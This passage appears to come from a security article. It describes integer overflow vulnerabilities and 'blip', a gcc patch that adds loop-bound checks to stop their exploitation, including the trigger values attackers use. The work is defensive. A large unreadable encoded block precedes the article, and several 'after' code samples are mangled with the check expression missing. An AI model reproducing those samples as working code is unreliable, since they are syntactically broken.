M7X&&A2WJ>G5.AS/RUWY*Y:N>)]4WH"R,&=SJEXP:X]ZQ,N& MLS?(=6]0^>(Y7#VOXG1P;H<**(*B_\7C:D513ZC'U]3S]XZ;]DW[T=G\/=XU M+Z0\H,<^]W8BZ.0=L.?5'!_.G??P>\=Z?X?U_GO6^]]:[S?.F/=_9+U_PGK_ M'];["U:9]YNL][KU_A/6^S^VWA^SWK]NO5]]D7F/K/>Z];ZLWG^*WQ^VWN'W MOBGO'^4X]3L\[T_Y?=KOMW+\S\-]S&JHY_LGXKP; MX3E\_PU\_V%\_PB^7X?OG\/WE^'[7^/[R_%]U<7P3E*\U^"[C^\WXGN`[SOP MO8#O/X[OQ#@[@N]%?'\7OI>H#O@>X?M)?*_@^Y_@^RR^?P??;\)WD/>Y![D; MGO=R?'\MOL_B^\WX_CI\WXKO2_A^"[[?@^_;\/T7\'T[OO\K?)_#]R?P_59\ M_P*^[\#WO\7WV_#].6OA?2>^Y_!]#[[?C>\D>7L4W_?C^R_B^SR^_R:^+^#[ M?\!WXK%]!=_OP/=G\?U.?'_^.GA_`[[G\?W'\?TV?&]1/^/[$I6+[QU\_QE\ M/XSO_Q+?A_C^<7P?X_M?X/LRE8OOI!OQPDO@_QN^;7VKRR<8O;I@.KV^`_&\_:]V^C'&0$^J] M\DK3_YTK39YOY?=?/SF#=?MHIF[21H%GVR[PAZ\T?=Z_RKS_^E5FWGWF*E/G MT_B^"]_SSS7SJ/%<,Z;_[+EF3/\KOM?P_8JKX;V.[SNN-F5]PWK_I\\W[^]^ M@7E?>PV\_ZNS]MN/7&/6NG^&[V5\_YUKS%KWGZXQ:]TI?*].Y+/JA<"K?:&& M-SW:9STPJ05*S=W>Z$9%U0UN7*Z1=O-PT+WQE@,[=VT'UG[CQD8ZOM%;;#2" M&,0O@<[9`HI<:`#%O^$F4?3+!WG]4U]^6?]FO<92;4@&4RA^0%;M58@B]A9S MDEMA9;F->^#+39%[DBZTTN6==`4['98UD;AX'HF=VI9,0C\_[3>;+T_[V7E- MU*9\IMKX9\@+#5WJY!$ECVZ8W4QN#$A7E6--E%:AZ!7T05DL%HKDS5+%T",& MIDJ&])S=#%:?<-AT3B:>H()6%/44Y5YC-`ETLT(5ZC7!CW"+@LR@1Q"$W6*' MF\'U`XA`JHM'=1O0UG4$4M*LHDQ^UQ1U[B@YFX16M60(2UPOB6*7+R-2Y@I* MG(F*'-2B$IT MQ79CH]]KJY/7$N2ESL/-UB"]<;$WOC'>$4\+&O>2H_"QS-XV0-S^QM&Q02NE M>%*==JLV&@^S4)7P1G`4P�%W!@:!(!;@#5`K$93=(4544'#:XK*0&:W$9- M6=4#2Y,EAM-`1Q)=P_V\ MJ;>"@S8`P;F=DL`$!*9-"EX*!5XP]1P[`:'5+/0RPW!H;L@.%$-*"+X[.+2, MH=1)B?0%H#)V*]R7&6C%0)->GZ%H)RNDBH*6@H!]$[F'KMP8'AAXO]T6*+4* MH1T+'&)DK/-`UR,HFCY+-2*%:$]!X.CVF\%E4T$`ZQX+(M-VD[G5R':JP05J M)5J/CF+P#PE&Q@K!I*D5-LXV"]UL#4.A8"K7L.'4Q$*1C2-`.)A8E."2Z9AQ MVE+SNYE*4-E@2)H-BTRR]$B]([U?J!AX`[W;$CS,9^"ZX:&%H&3ZD>&!@1]J M'1.HU``0%HX>ZKH%0Y@X.(.35"B2R=MN=+* MS"H,]\`*>7Q1B-,<=[L9?)&$LJ!4K&U0PKKC4>NHA!8HQY`=H'BCI9<>O:[<>!A!7>*=*=D.+5*T2-12#K4PSC>WW&BU) M6-:S7$*'1WB9QID#)H(5B:"@4X9#`8?H/4U[I>,FJ0`4R)&F2JLX0684-7Y* MLFRXH*D*MUJE$52!!VCS54*"((,7NDW8Y@IU5G1#)MSJT(`P)^"5`T*S_1EG M"I6E0_*4E45RU-N71*C7AL.DI4LDS`H0L_)J_ZE-Z7`%'+8.CQ-3JO2X"@$] MQ5;&;!(&3.WMV6P][-83.@6,3FX[,\C$*0S9 M[S:8%2=_"BJK*M52HBA('6.$$U['@@F3I.I(U![TB2JBXJET6-'``AN1GIO, MNCNBT@F!B(RC+'AKQXI=CX6C+6K.I%C02.%D4@HI$ZMO%]6JN,QG+'C5@!Q: M:-U$-JIW;-N[YXYX[^W5_";YV+,7'E7?`FR_I1I8G[OG=E<+^GMN][Z%N^*= M>_8=6*B&&GKK@5V[XKT'%@!:U-"=NW;-[=BZBV.7#'S/MKV[]^V:6YCCH/)$ MDNUS\]OV[]RWL'=_-;+2+-?6^06K23MW M[-F[?XY2S:NV`16-_1.W&XA#Z%$6'F1RN:PM+M^@8P);RT0O4?0R1X\FHH/V MM8Y=H=ADGM4GQZ1B?4P2C(:U7FJ2D%=2@6U9RMID9.6)&GY M#$D/C\$DOTD8<<(*)X0%5T.W"E(Z\TF#[M)+P87R:H14`'9HXM"Z=2.3@N.HHG4HXSS3">M"2P&UN+:'@N3CNVX M.Z.H_6G:XV2A%/I/`K*]/QZ!H3Z$L:%'WVPB%(KVWBF"'@=M,]6AVI?[#7)9 MY`Z3C(;8+(/S=Y:$QT8-J!R:'(4L)6\V`Q@:W"(0K05-#7UN%K!VGQM#EO`RX"WI7FLIQ+2$RR\ M+?;&6]CQJO,1#\D@W&*?C#NCX>R=K(3RYQX?9T M+<=#G9P98R\-?JOY"?U],<<#>:#K9\BNTVHK'OS!K>)S.![("9T$?8492BNV M[$#N!R0D+N)X(%?T-?7R'Z;4#R0=0"8(XH$\T.]=1'HO4NXJ_@/IA66"[^&1[H[*%7XMM7K($!LH(EM,_CN6/'6J7CKK'@OL.*-K7@@W[1A M-,_CB/:CZ18P%\B_'SU_A>!CT,.F'73HE MOT>L>*!/<.D&$V;'^U=6/)`HA?OZ=5/B?="*=XV*=\T9XGW8B@=R:+D-'M_( MFWCP=Y+[!.*AKMH&TE.[V(H'^7_*LV3CWJWRN])S?C(TG_:,+<4_#?/M1GX@6L\E'/+EON7F?P^IB;JEZ?4[ZN>:\/Q M-P+"TVR\K.W#7('DX++QLK8/OQJI\5M#.FHW>6>V??C,:SSO>1;@3+8/X0?K MEN<96X>P/M$WE7R]_J8,3^IOZGA85^B;1E7D"<5VVA?U-_?,V^2;,&N=_B9M MOPWZFP1V[]/?I&7XJ/ZF&?'HV^6;M`%A_M$W:R`^*-]7T/?#\DVS]U+]34BW M07^3MN(U^IM6]IS^)NN<'?U-TIF`O_3]?(JOOU_@]/M%J)EH?[\P\_VBS/>+ M,]_79KY_*//]$F?>H:#'\! MKB5W6^$?4,_[K._?=?+;X/V!9\9W1HWOM/8\_(!ISW^QOB&_I]3S:BL]E/?8 M`VD2V&]E\TX[9OVOA\QBK_RIG)\/=8_?U"%?[Y=X@NZV7>RV8,/EZI M\''3C*L+NWO&U84%VY$;?GKUNA=P>K#K:>O&@JU(CW5+-ZCY`[8B;5W9AR#< MTI5]+]B&M'1CP1:DS-^KU/Q]_XRK2_ODC*M+^^J?KO->H;]`3K%U/Z;:M].^:+*T!U#40U%L:66DQ MT%.P%&]%\HS-`#:&HW0T;K<59+"EH`ZDVQ?V[H]W[9Q?B&-/#)4WMX1PH]Z/ M%SO].OC!!:(\KHV/*NC<;?&M^[?NGB/G?"H1U(+NESQBU&SQ?8^4@@F*7!-Z M;?>'N6VZKO+--QMU9+QXL0%CT(PA;68;'+<'\=(15KZV`UCAV0$U/607G4D? MVXY+6ME.2:2:;8.6IQ3"(RRZVVZ5QJ.&FZ4Z/W$"U..>T.RV8S>3E@=C)"7@ MV0W5S>U88/@3^MJ&@3:Y4VZ+QGK'KKVW;-T5[[WUUOFYA7AAZRV[YM08@E7* M"8USJV"X9[%S2]*XGBR*1<_[-_<^^=P'/OG0Y^]]S1WWON9/ M+_FQ'QMO>_JU'\B='%U\:IWW]+>>.*5.*[E]K\N?_M",]\'+G]QPUYU//+KV MZ?^YIR^ZJLEB#P6X<^W^N-?,;=FRQ7MZ[P.?/'XJ]]#G\Z??^9*OSQQ_>O7C M?[GNQ)\\_O1%]S[A;=ARXB67>A_QUMWPK.CSW_@UJQ;KN1:KGE[_ M8&FX^E1Z^IM/_SUGM^5;:]1Y<[1ERSVO46O;^!67O_3!TJJ+3^T[_?077C\D MW0:00]J46TR605EW/(#:M/V3[4>^./.^4S-M_PL?^6*Y]=/G[SZQ"?:Q[_KC3_Y M'?]3_F\\27'_\X;KS[Q^(G_UK[W2Z!GVW[\2VO:)Y[_Q9GV MO7^!WS.7?W'F@_<]^;Q'5GF/77R1_X4GGW_JGUSDGWSH\W]06CV#;=KWT,F/ MW.-]:(/WNF>^\:L4?,\S%XVNHBXXJ4)4;/_D,]]X M/W>*?_*1]W@?//D=5:T??LD#*@N.>>+//O(>[_Y+CS^^ZOAW-@PO4JF^\:LO MY32?6`-V)IZ\\C=6C];`^_N]+<=?HTY@H[5;3K]$#?OJRT^];Z:]Y;U7>^TM MC_SF6N[W54^__#%OYH$GC_^/W);[U1@^\]#)9S_VT!?4F,[<- M7ZL\/7P*1K-]_#77JR':`2.5&]W\P"=ORCT\JOR=*OV!SU8^.EQS[T>]AV_X MZ$.??\Q[^*&36^Z__"KO[T]\>N^)9^]]ZH_6?>-7__J/UN0>_A"\/99[^*'/ M/_394Y^;&;_EL9F-[5]^\GGM7SGU\9EQ_]13,Z=^?V:\^.A__DKSU)_.//KG M7[G[U!_/^)\Z]2]FQON_])TO_\REJS8^^Y6?48!?G!EO_=)WGKV\L';\N[\? MKCV5^WN%4J=1>JB::RL*F_U"57-;@WQNL39JY7K]46[82@?]'FA]__!EZ[TK M9EY2N42AT@.?;S_^Q=7MBT'%L/W(UDNNF'G^:R_Q3W[E:Z?>-?.5KY]ZY\RC MI[_RWE/'9Q[][E=^^+$9E>QK3WO^%]K^MQ[X3\?_9Z[]^%=6M_\:=N8-'KEQ MS%T/-,G->^9OW;OMP/SF)GAE[P\VY_T;>,7;?GX&M77#YQ\_-3J+?>]HK;N@9-; M'GG+NLW>AC]\W1WS;__"^(4?\NZY?.WO[U[WF/?3"EE^=,M#:]ZR;LNS:Y)U M6][YBF3=R2^OSI]\PX_?]8?9E0)0>>9GZ;GA9Z>M)9>_])D'2_>O._6)[S[] M[,X]"WY1]5U;G6!`RSY7:S3`X1,8X`=/3_;D]%ZWS__40W^Q\Z&G/I3SFN_U M5NV[N?F(M^K4G->:7;-AU5]\O?FN-=ZJ.^]ZHOVZ]H?>\XX9K[US=/6I5WI? M;O[&S&CMJ9=X7[[[Z:_^QJKQJ?9=3[SN@ZN>?-%]7]MXQ7W?_*W5G_WJ'ZV_ MZXFOW#-A+`+5X7_IT_3\F4\+^![XYR4ON>*]E[_T\K5J&IYZYM3%WJD;O9<^ MT?SXFBL\[X-7_?:&)S,GO_LFC^^Y#'O14]N>/6+QI\[;5SYY$&"S2WH'W_]B//7RN MQ5SH?[%:L?)M8.6_<]#_/KX+_1\4@?XO%R[0__\@O\=.KN6E]$-J+?[6#:>? M^<:O_?4+/>_ACWSSM6KY_,R)9Q[ZBP\?]5[2_(/R;ZUY_3=^+7[IQ^=6;VR> M>&WS@1VK?O\/9C[PBX\\,7/OLY^:22][M__9#WNK'IM9I7:>4X30'[K$^^VU M__Y3,X_-//?)#6I-^_W/>2=6^R?SGWWRN2KJ>[X^<__E3\S\R*71)YO?;X=Z\:7?)H[OAW-XY6/>H]\LS,7P,'D5KVP,E__J/[[[[ ML2V7?WBM]^2&VOT+J^^_=.M]?W3_PJK[_OC>+WDS'URU_W7S^U33;CS^L76U M)TX\?M'JV35/S(PO4\WRMZ\:7W1ZNVK9B=60]Q^FESQP\IZ/;7CHI/^%)_:= MNM3+?QF:?/QCZVM/_],/7>R=^*O7J27HGN]_7=XCW]T]6-77)[[S.J'7WGU MS:]\#_/__US6[?O MGOL!X=@YYG^^')1P_JMH05@JJ/A^.^9V;=ZY>^N.NO7Y_BW M.7>P/GKS4C?W:GK>G":]&LB6O,:*H@B2%GC91"ID_7I5%//CA4OM:;$&C'03!B!`(M_9Y`UZ]''+?\/Y(E')71EAL)_[>D M2[D;80N\<;D+U-V;.>V6/F3?RQWKCW-'DDXGM]@:Y6JY7NM(3BP-`:\\E_1R MC?%PJ#HDUTR&:(/GV);U1UJ=SB9(VJCU*'"$[C;L M#+:>IOUX_NMN^$'@V-GM/\-N'_#^7RH6\F78_TO%\H7Y_P_Q>]D/WUA/>C>F M2^O7WXZS^Z;K9%)\>^N^FZZCR47&N+9T:X/KUL_=*5E=QU/INO5[;_G1 M;7OWW773=?WZP49_<"RW>6].U:XV5&_[AB\LL);;/'_=>M0[ATKCY97Z MWKMW87YNVX+*5FA:596YA0.J%L3E5G55"2#N^J2=>T-NX\MRFWNM7)![$T[V M]9>T&DO]W'5DV6UC/O=J:A1.K=?D7DTKPVNN4_&.JDGHKV\GZ]=OI,[+;?1S M&]6ZAEZ%-[=SFRLYJZ/6C[J#0;*X>.RF6+W%&]4//]=OW+4]MWF8V]S/;=PH M<;;T-G*8L%N)W,Y8^2<8?) The above input is a number for a reason. It is a counter! It counts items! It doesn't matter what those "items" are (bytes, chars, objects, files, etc.). They are still countable amount of items. And what can you do with such a counter? Well, you are most likely to do some processing "count" amount of times. As a note I will say that not *every* number is also a counter. There are many other reasons to have numbers around. But the one that are related to integer vulnerabilities happend to be "counters" most of the time. For example, if the count is for challenge response you may want to read "count" amount of responses (OpenSSH). Or if the count is buffer length you may want to copy "count" amount of bytes from one memory location to the other (Apache httpd). The bottom line is that somewhere behind this number there is the proper "loop" in the code that will do some processing, "count" number of times. This "loop" may have multiple forms such as the for-loop in the first example, or as an implicit loop in memcpy. Still all loop flavors will end up looping around the "count". ----[ 3.3 - Suggested detection Ok, what do we have so far about those vulnerabilities? - The input was ambiguously used in the code. - Somewhere in the code there is a loop that uses the input integer as an iteration counter. To make the interpretation of the number ambiguous, the attacker has to send a huge number. Looking at the first example we can see that in order to make the number ambiguous the attacker needed to send such a big number that if doing (len+1) the number will overflow. For that to happen the attacker will have to send the value 0xffffffff. Looking at the second example, in order to make the interpretation of the number ambiguous, the attacker needs to send such a number that will fall into the negative range of an integer 0x80000000-0xffffffff. The same huge number sent by the attacker to trigger the vulnerability is later used in a loop as the iterations counter (As discussed in the section "What is the nature of the input?") Now lets analyze the exploit process: 1. Attacker wants to overflow buffer. 2. Attacker may use integer vulnerability 3. Attacker sends a huge integer to trigger the vulnerability. 4. Count loop executes (probably) using attacker input as the loop bound. 5. A Buffer is overflowed (On early iterations of the loop!) Therefore detecting (and preventing) integer vulnerability exploitation is possible by validating the loop bounds before its execution. The validation of the loop will check that the loop limit is not above a predefined threshold, and if the limit is higher that the threshold a special handler will be triggered to handle the possible exploitation. Since the value required to trigger most integer vulnerabilities is huge, we can assume (hope) that most legitimate loops will not trigger this protection. To get a feeling for what values we expect to see in integer Vulnerabilities, lets examine the following samples: - Allocating buffer for user data + program data Looks like: buf = malloc(len + sizeof(header)); In this case the value required for triggering int overflow is very close to 0xffffffff since most program struct sizes are in the range of several bytes to hundreds bytes at most. - Allocating arrays looks like: buf = malloc(len * sizeof(object)); In this case the value required for triggering the overflow may be much smaller then in the first example but it is still a relatively huge value. For example if sizeof(object) == 4 then the value should be bigger then 0x40000000 (one Giga). Even if the sizeof(object)== 64 the value should be bigger then 0x4000000 (64 Mega) in order to cause an overflow. - Falling to negative range In this case the value required to make a number negative is any number bigger then 0x7fffffff. Looking at the values required to trigger the integer vulnerability, we can choose a threshold such as 0x40000000 (One Giga) that will handle most cases. Or we can select smaller threshold for better protection, which may trigger some false positives. --[ 4 - Part III - Implementation ----[ 4.1 - Introduction Once we have a suggested a way to detect integer attacks, it will be nice to implement a system based on that idea. A possible candidate for implementing this system is to extend an existing compiler. Since the compiler knows about all loops in the application, it will be possible for the compiler to add the appropriate security checks before any "count loop". Doing so will secure the application without any knowledge of the specific vulnerability. Therefore I choose to implement this system as a gcc patch and name it "Big Loop Integer Protection" a.k.a blip. Using the -fblip flag one may now be able to protect his application from the next yet to be public integer exploit. ----[ 4.2 - Why gcc? Choosing gcc was not a tough decision. First this compiler is one of the most common compilers in the Linux, *nix world. Therefore, patching gcc will allow protecting all applications compiled with gcc. Second, the gcc is open-source therefore it may be feasible to implement this patch in the first place. Third, previous security patches were implemented as gcc patches (StackGaurd, ProPolice).So why not follow their wisdom? ----[ 4.3 - A bit about gcc Well.., all happy I set down knowing that I'm about to make a gcc patch for preventing integer attacks. But, except of that, what do I really know about gcc at all? I must admit that the answer for that question was - "not much". To overcome this little problem, I was looking for some documentation about gcc internals. I also hoped to find something similar to what I wanted to do, which already exists. Fast enough, it was clear that before jumping to other examples, I must understand the gcc beast. .. Two weeks later, I have read enough of the gcc internal documentation, and I spent enough time in debugging sessions of the compiler, to be able to start modifying the code. However before I start jumping into details I would like to provide some background about how gcc works, which I hope the reader will find useful. ------[ 4.3.1 - Compilation flow The gcc compiler is really an amazing machine. The design goals of gcc include the ability to support multiple programming languages, which later can be compiled into multiple platforms and instruction sets. In order to achieve such a goal, the compiler uses several abstraction layers. At first, a language file is processed (parsed) by a language "Front End". Whenever you invoke the gcc compiler, the compiler will decide which of the available "Front End"s is good for parsing the input files, and will execute that "Front End". The "Front End" will parse the whole input file and will convert it (using many global helper functions) to an "Abstract Syntax Tree" (AST). By doing so the "Front End" makes the original programming language transparent to the gcc "Back End". The AST as its name suggests, is a data-structure, which resides in memory and can represent all the features of all the programming languages gcc supports. Whenever the "Front End" finishes to parse a complete function, and converts it to an AST representation, a gcc function called rest_of_compilation is being called. This function takes down the AST output from the parser and "expands" it into a "Register Transfer Language" (RTL). The RTL, which is the "expanded" version of the AST, is then processed again and again through the many different phases of compilation. To get a feeling for work that is done on the RTL tree, a subset list of the different phases is: - Jump Optimization - CSE (Common sub-expression elimination) - Data flow analysis - Instruction combination - Instruction scheduling - Basic block reordering - Branch shortening - Final (code generation) I've selected only a few phases out of the big list of phases to demonstrate the work done on RTL. The full list is quite more extensive and can be found in the gcc internal docs (see "Getting started" for link to docs). The nice thing about RTL is that all those phases are performed independent of the target machine. The last phase which is performed on the RTL tree, will be the "final" phase. At that point the RTL representation is ready to be substituted by actual assembly instructions that deal with the specific architecture. This phase is possible due to the fact that the gcc maintains an abstract definition of "machine modes". A set of files that can describe each supported machine hardware, and instruction set in a way that makes it possible to translate RTL to the appropriate machine code. ------[ 4.3.2 - The AST I will now focus on the AST, which I will refer to as the "TREE". This TREE is the output of the front end parsing of a language file. The TREE contains all the information existing in the source file which is required for code generation (e.g. declaration, functions, types..). In addition the TREE also includes some of the attributes and implicit transformations that the compiler may choose to perform (e.g. type conversion, auto variables..). Understanding the TREE is critical for creating this patch. Fortunately the TREE is well structured and even if its object-oriented-like- programming-using-c is overwhelming at first, after a few debugging sessions, every thing starts to fall in place. The core data structure of the TREE is the tree_node (defined in tree.h). This structure is actually one big union that can represent any piece of information. The way it works is that any tree node has its code, which is accessible using "TREE_CODE (tree node)". Using this code the compiler may know which of the union fields are relevant for that node (e.g. A constant number will have the TREE_CODE() == INTEGER_CST, therefore the node->int_cst is going to be the union member that will have the valid information.). As a note, I will say that there is no need to access any of the tree node structure fields directly. For each and every field in that structure there is a dedicated macro that uniforms the access to that field. In most cases this macro will contain some additional checks of the node, and maybe even some logic to execute whenever access to that field is made (e.g. DECL_RTL which is responsible to retrieve the RTL representation of a TREE node, will call make_decl() if no RTL expression exists for that node). So we know about the TREE and tree node, and we know that each node can represent many different things, what else is important to know about the tree nodes? Well, one thing is the way tree nodes are linked to each other. I will try to give a few sample scenarios that represent most of the cases where one tree node is related to another one. Reference I - Chains: A chain is a relation that can be best described as a list. When the compiler needs to maintain a list of nodes *that don't have any link- related information*, it will simply use the chain field of the tree node (accessible using the TREE_CHAIN() macro). An example for such a case is the list of statements nodes in a function body. For each statement in a COMPOUND_STMT list there is a chained statement that represents the following statement in the code. Reference II - Lists: Whenever simple chaining is not enough, the compiler will use a special tree node code of TREE_LIST. TREE_LIST allows the compiler to save some information attached to each item on the list. To do so each item in the list is represented by three tree nodes. The first tree node will have the code TREE_LIST. This tree node will have the TREE_CHAIN pointing to the next node in the list. It will have the TREE_VALUE pointing to the actual tree node item, and it will also have TREE_PURPOSE which may point to another tree node that holds extra information about this item meaning in the list. As an example the tree node of code CALL_EXPR, will have a TREE_LIST as its second operand. This list will represent the parameters sent to the called function. Reference III - Direct reference: Many of the tree node fields are tree nodes themselves. It may be confusing at first glance, but it will be clear soon enough. A few common examples are: - TREE_TYPE this field represent the type of a tree node. For example each tree node with expression code must have a type. - DECL_NAME whenever some declaration tree nodes have a name, it will not exist as a string pointed directly by the declaration tree node. Instead using the DECL_NAME one can get access to another tree node of code IDENTIFIER_NODE. The latter will have the requested name information. - TREE_OPERAND() One of the most commonly used references. Whenever there is a tree node, which has a defined number of "child" tree nodes, the TREE_OPERAND() array will be used (e.g. tree node of code IF_STMT will have TREE_OPERAND(t,0) as a COND_EXPR node, TREE_OPERAND(t,1) as the THEN_CLAUSE statement node, and TREE_OPERAND(t,2) as the ELSE_CLAUSE statement tree node.) Reference IV - Vectors: Last and quite less common is the tree node vector. This container, which is accessible using the TREE_VEC_XXX macros, is used to maintain varying size vectors. There is a lot more to know about AST tree nodes for which the gcc internal documents may have better and more complete explanations. So I will stop my AST overview here with a suggestion to read the docs. In addition to storing the abstract code in the AST. There are several global structures, which are being extensively used by the compiler. I will try to name a few of those global structures that I found very useful to checkout while doing some debugging sessions. - current_stmt_tree : provides the last added stmt to the tree , last expression type, and the expression file name. - current/global_binding_level : provides binding information, such as defined names in a particular binding level, and block pointers - lineno : var containing the line number that is parsed at the moment - input_filename: file name that is parsed at the moment ------[ 4.3.3 - Getting started If you want to experience the AST tree yourself, or to dig into the patch details, it is recommended to read this getting started section. You are safe to continue to the next section if you do not wish to do that. First thing first, get the compiler source code. The version I used as base for this patch is gcc 3.2. For information about download and build of the compiler please check http://gcc.gnu.org/install/ (Please remember to specify the compiler version you wish to download. The default version may be the last-release, which was not checked against this patch) Next thing you may want to do is to sit down and carefully read the gcc internal documents. ( For the sake of this patch, you should be familiar with the first 9 sections of this document ) The document is located http://gcc.gnu.org/onlinedocs/gccint/ Assuming you read the document and you want to go to the next level, I recommend to have a set of simple programs to be used as compiler language file, your debugger of choice, and start debugging the compiler. Some good break points that you might find useful are: - add_stmt : called whenever the parser decides to add a new statement into the AST. This break point may be very handy when it is not so clear how a specific tree node is being created. By breaking on add_stmt and checking up the call stack, it is easy to find more interesting places to dig into. - rest_of_compiliation : called whenever a function was completely converted into AST representation. If you are interested to check out how the AST is turning into RTL this is a good place to start. - expand_stmt: called each time a statement is about to be expanded into RTL code. Setting a Break point here will allow you to easily investigate the structure of an AST tree node without the need to go through endless nesting levels. Since the gcc compiler will end up calling the cc1 compiler for *.c files, you may want to debug cc1 in the first place, and save yourself the trouble of making your debugger follow the child process of gcc Soon enough you will need some reference for all the little macros used while messing with the AST tree. For that I recommend getting familiar with the following files: gcc3.2/gcc/gcc/tree.h gcc3.2/gcc/gcc/tree.def ----[ 4.4 - Patch Goals Like every project in life, you have to define the project goals. First you better know if you reached your goals. Second, which is not less important, since resources are limited, it is much easier to protect yourself from a never-ending project. The goals of this patch were above all to be a proof of concept for the suggested integer exploits prevention scheme. Its therefore *not* a goal to solve all current and future problems in the security world, or even not to solve all exploits that have integer input related to them. The second goal of this implementation is to keep the patch simple. Since the patch is only a proof of concept, we preferred to keep things simple and avoid fancy solutions if they required more complex code. Last but not least the third goal is to make this patch usable. That means easy to use, intuitive, and able to protect real world packages bigger then 30 lines of code :). ----[ 4.5 - Patch overview The patch will introduce a new flag to the gcc compiler named "blip". By compiling a file using the -fblip flag, the compiler generates code that will check for the "blip" condition for every for/while loop and for every call to a "loop like" function. A "loop like" function is any function that is a synonym for a loop. (e.g. memcpy, bcopy, memset, etc.). The generated check, will evaluate if a loop is about to execute a "Huge" number of times. (defined by LIBP_MAX). Each time a loop is about to execute, the generated code verifies that the loop limit is smaller than the threshold. If an attempt to execute a loop more than the threshold value is identified, the __blip_violation() handler will be called instead of the loop, leading to a controlled termination of the processes. The current version of the patch will support only the C language. This decision was made in order to keep this first version of the patch small and simple. Also, all the vulnerable packages that this patch was planned to protect are written in C. So I thought that having only C is a good start. ------[ 4.5.1 - Tactics Having the above goals in mind, I had to take some decisions during the development of the patch. One of the problems I had was to choose the right place to hack the code. There are quite a lot of options available, and I will try to give some pros and cons for each option, hoping it will help others to make educated decisions once they encounter the same dilemmas. The first thing that I had to decide was the program representation I want to modify. The process of compilation looks more or less like that: Processing Program representation ------------ ------------ Programming => 1. Source code Parsing => 2. AST Expanding => 3. RTL "final" => 4. Object file So what is the right place to implement the checks? The following table lists some of the pros and cons for modifying the code at different stages during the compilation process. +-------------+-----------------------------+---------------------------+ |Stage |Pros | Cons | +-------------+-----------------------------+---------------------------+ | AST |- Target independent |- No access to hardware | | |- Language independent | Registers, instructions | | |- Optimization independent | | | |- High level Access to | | | | language "source" | | | |- Intuitive to add code | | +-------------+-----------------------------+---------------------------+ | RTL |- Target independent |- Low level "source" access| | |- Language independent |- May interfere with | | |- Full access to target | optimization | | | hardware | | +-------------+-----------------------------+---------------------------+ | Object file |- Language independent |- Hardware dependent | | | |- Lack syntax information | | | |- Modification of flow may | | | | break compiler logic | +-------------+-----------------------------+---------------------------+ After some thought I decided to modify the AST representation. It seems to be the most natural place to do such a change. First, the patch doesn't really need to access low-level information such as hardware registers, or even virtual registers allocations. Second, the patch can easily modify the AST to inject custom logic into it, while doing the same at the RTL level will require major changes, which will hurt the abstraction layers defined in gcc. Solving my second dilemma was not as easy as the first one. Now that AST patching was the plan I had in mind, I needed to find the best point in time in which I will examine the existing AST tree, and emit my checks on it. I had three possible options. 1) Add a call to my function from the parser code of some language (which happened to be C). By doing so, I have the chance to evaluate and modify the tree "on the fly" and therefore save an extra pass over the tree later. A clear disadvantage is the patch becomes language dependent. 2) Wait until the whole function is parsed by the front-end. Then go through the created tree, before converting it to RTL and find the places, which require checks, and patch them. An advantage of this method is that the patch is no longer language dependent. On the other hand, implementing a "tree walk" that will scan a given tree, is quite complex and error prone task, which will go against the goals we defined above such as simple, and useful patch. 3) Patch the AST tree *while* it is being converted into RTL. Although this option looks like the most advantageous (language independent, no need for a tree walk) it still has a major disadvantage which is the uncertainty of being able to *safely* modify the AST tree at that time. Since the RTL "conversion machine" is already processed some parts of the AST tree, it might be dangerous to patch the AST tree at that time. Finally, I have decided that the goal of making this patch simple, implies selecting the first option of calling my evolution functions from the C parser. I've placed the hook into my patch in three locations. Two calls inside the c-parse.y (main parser file) code allowing me to examine the FOR and WHILE loops and to modify them on the fly. The third call is located outside the parser since catching all call locations was quite tricky to do from within the parser. Basically since in many different situations a CALL_EXPR is created hooking all of them seems to be non-natural. The alternative that I found which seems to work just fine for me, was to add a call to my function inside the build_function_call() within the c- typeck.c file (C compiler type-checking expression builder). The main entry into the patch is the blip_check_loop_limit() function which will do all the work of checking if a loop seems to be relevant, and to call the right function that will do the actual patching of the AST tree. In order for a loop to be considered it needs to look like a count loop. The blip patch will therefore try to examine each loop and decide if the loop seems to be a counter loop (exact criteria for examining loops will follow). For each count loop an attempt is made to detect the "count" variable and the "limit" variable. Example of simple loops and their variables: - for(i=0; i < j; i+=3}{;} ==> Increment loop, i = count j = limit. - while(len--){;} ==> decrement loop, len = counter ; 0 = limit. The current implementation considers a loop as count loop only if: - 2 variables are detected in the loop condition (sometimes one of them can be a constant) - one of those variables is modified in the loop condition or in the loop expr - *only one* variable is modified - the modification is of the increment / decrement style (++,--,+=,-=) The code, which examines the loop, is executed in blip_find_loop_vars() and it may be improved in the future to identify more loops as count loops. After detecting the loop direction, the loop count and the limit, the AST tree is modified to include a check that verifies that a big loop is reported as a blip violation. In order to keep the patch simple and risk free, any time a loop seems too complex to be understood as count loop, the loop will be ignored (Using the blip warning flags its possible to list the ignored loops, and the reason why they were ignored). ------[ 4.5.2 - Modifying the AST When you start patching complex applications such as gcc, you want to make sure you are not causing any "butterfly effect" while modifying memory resident structures on the fly. To save yourself from a lot of trouble I will suggest avoiding modification to any structure directly. But instead use the existing functions that the language parser would have used if the code you want to "inject" was found in the original source code. Following this layer of encapsulation will save you from making mistakes such as forgetting to initialize a structure member, or not updating another global variable or flag. I found it very helpful to simulate the code injection by actually modifying the source code, and tracing the compiler as it builds the AST tree, and later mimicking the code creation by using the same functions used by the parser to build my new check code. This way I was able to eliminate the need of "dirty" access to the AST tree, which I was quite afraid of while starting the modification. Knowing the right set of functions to use to inject any code I would like, the question became what would I really like to inject? The answer differs a bit between the different loop types. In the case of a for-loop the blip patch will add the check expression as the last expression in the FOR_INIT statement. In the case of the while loop the blip patch will add the check expression as a new statement before the while loop. In the case of a function call to a "loop like" function such as memcpy, the blip patch will replace the whole call expression with a new condition expression, having the __blip_violation on the "true" side, and the original call expression on the "false" side. Let's illustrate the last paragraph with some samples.. Before blip ----------- 1) for(i=0;i< len;i++){} 2) While(len--){} 3) p = memcpy(d,s,l) After blip ---------- 1) for(i=0,?__blip_violation:0;i?__blip_violation:0; while(len--){} 3) p = ?__blip_violation : memcpy(d,s,l) The itself is quite simple. If the loop is incremental (going up) then the check will look like: (limit > count && limit-count > max). If the loop is going down the check will be (count > limit && count - limit > max). There is a need to check the delta between the count and the limit and not only the limit since we don't want to trigger false positive in a loop such as: len = 0xffff0000; for(i=len-20;i < len; i++){}; The above example may look at first like an integer exploit. But it may also be a legitimate loop which simply happens to iterate over very high values. The function responsible for building the is blip_build_check_exp(), and its the code is self-explanatory, so I will not duplicate the function comments here. One of the difficulties I had while injecting the blip code, was the injection of the __blip_violation function into the target file. While creating the I simply created expressions which reference the same tree nodes I found in the loop condition or as parameter to the loop like function call. But the __blip_violation function didn't exist in the name space of the compiled file, and therefore trying 